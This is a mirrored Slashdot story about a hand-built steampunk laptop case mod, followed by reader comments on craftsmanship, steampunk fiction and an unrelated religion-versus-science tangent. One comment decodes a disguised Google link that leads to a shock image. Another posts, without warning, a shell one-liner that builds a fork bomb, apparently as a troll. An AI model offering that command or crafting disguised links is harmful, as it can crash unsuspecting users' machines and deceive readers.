Slashdot Mirror
Ye Olde World Charm
The Solitaire brings us a link to Datamancer, where Richard R. Nagy shows off his Steampunk Laptop. The attention to detail and the creative style, which includes a copper-plated keyboard and speakers shaped like violin f-holes, make this an impressive case mod. From Datamancer: "This may look like a Victorian music box, but inside this intricately hand-crafted wooden case lives a Hewlett-Packard ZT1000 laptop that runs both Windows XP and Ubuntu Linux. It features an elaborate display of clockworks under glass, engraved brass accents, claw feet, an antiqued copper keyboard and mouse, leather wrist pads, and customized wireless network card. The machine turns on with an antique clock-winding key by way of a custom-built ratcheting switch made from old clock parts."
Although the HP laptop does bring new meaning to the phrase "turnkey system".
The higher the technology, the sharper that two-edged sword.
Years ago, before I had my second kid, I created a Fossil computer that was Victorian themed in brass, wood, and had an old fish fossil mounted where the tag went. It took a huge amount of time, but was one of those great father-son bonding experiences (he has a full machine shop, so he did most of the work). I loved the look and still feel I should turn it into a Media PC and stick it in our living room.
It seems a little sad that it's now my daughter's computer, sitting on the floor. The most excitement it gets these days is to play online Barbie or NickJr games.
It really is a shame to put that much effort into making something, and then totally ruining it with that cover, that just screams that the creator knows nothing about how clockwork actually works. It really is kind of an eyesore on an otherwise beautiful piece of work.
It kinda looks like an old box that might be worth something, so thieves don't even need to know its a computer.
You can spot these hidden goatse links quite easily. Let's break the code
Here's a search for "test" on google
http://www.google.com/search?hl=en&q=test&btnG=Google+Search
Now q is the search string. btnG is the function. If I clicked I'm feeling lucky I'd have got btnI instead.
Let's look at the parent link.
http://www.google.com/search?Searchq=old+world+case+mod&ie=UTF-8&oe=UTF-8&sourceid=navclient&gfns=1&gn=10&refer=4e9fd9f4624c02685096769364a81d95&ref=cff0e9b1f2db017a44b88bb0d174771d&q=goatse.ca&btnI&link=hooray
Searchq is ignored by Google. The next few things are obfuscation too. At the end we see q=goatse.ca and btnI which means I'm feeling lucky. First hit on goatse.ca is the dreaded image and btnI means "I'm feeling lucky", i.e. jump to the first hit.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Once upon a time, there was a letter, Thorn. It made a th sound. It came to look like the letter Y. Then it disappeared. What we are left with is Ye Olde Everything.
Sigh. Anyway, the computer is amazing. I have to find one of those Underwoods.
Me doth thinkest yonder website has been Slashdotted...eth
Anyone got a light for my sig?
Here's an artist worth supporting, not for the work he's done, but for the work he's going to do.
Is it frivolous? Yes, but most art can be called that. Is it useful? Probably not, but we all need entertainment.
As a "jackass-of-all-trades" myself, my biggest wish was to be able to make my dreams into reality in a physical aspect, but I don't have the drive to work on a project as long as this guy does. Heck, even complicated LEGO designs lose my interest less than half-way through.
If you have a little bit of wealth, don't forget to support the arts -- it's the job of the wealthy to bring the unmarketable to the masses.
http://www.datamancer.net.nyud.net:8090/
It's the kind of thing my grandpa would have found at the dump, brought home, and converted into something useful.
I think I caught 'the bug' from him. He once turned an old wind-up phonograph mechanism into a jig to make his spearfishing lure rotate out in the ice house on the lak.
Dear Mr. Troll.
At least you have given a high class description of your eyeball wrenching escapades.
However, Goatse is no longer the cutting edge of Troll Theory. You're much too good for that.
Instead, make yourself a valuable memeber of the community by supplying links related to the story titles. In this case, it would be a "hard hack laptop", which would be a photoshopped image of the Dell Gaming Machine with a Mining Excavator parked on top of it.
My first Journal Entry ever, in 8 years! http://slashdot.org/journal/365947/aphelion-scifi-fantasy-horror-poetry-webzine
I guess you didn't like Bioshock then . . .
I'm not a big fan, I've only read The Difference Engine. Stephenson's Baroque Cycle may count too. The point of the genre is to draw attention to the parallels between the modern boom in technological progress and innovations on a similar scale which appeared at the end of the 18th and 19th centuries. Appreciation of history and all that.
As for aesthetics, well art simply is.
I will happily agree that science (the world of Reason, or Rational thought) cannot be made compatible with any scheme of religion or belief, because they do not intersect to any great degree. Science is a wonderful tool for explaining how things work, but it cannot do diddly to explain the 2AM question "Why are we here?" (And the mere existence of the Creationist Museum proves the converse.)
My question is why people keep dragging out this moldy old conflict? We all hold mutually exclusive thoughts in our heads ('All politicians are crooked' vs 'My senator fights the good fight', for example) so why can't we just drop this disagreement? If you fervently believe that Science holds all the answers and your neighbor fevently believes the FSM hold them instead, what have you lost?
As for myself, for matters pertaining to materials, speeds, and distances, and all things that can be measured, I choose Science and Reason as my tools. I believe that the scientists who do that stuff have a method that gives a very accurate result, a very good picture and explanation of the way the world works. For matters unmeasurable, I have found no such system or method that can explain them nearly so well ... but I'm not so arrogant that I assume there can be no such system. I believe that many religious laws make excellent interpersonal 'Rules to Live By' even if they can never be "proved" to have come from their purported source.
Hmmm. Your ideas are intriguing to me and I wish to subscribe to your newsletter.
Seeing as Datamancer's site is slashdotted, you can catch the laptop on Gizmodo . Better still, here's their interview with Richard Nagy, its very talented creator. Cheers, Fzz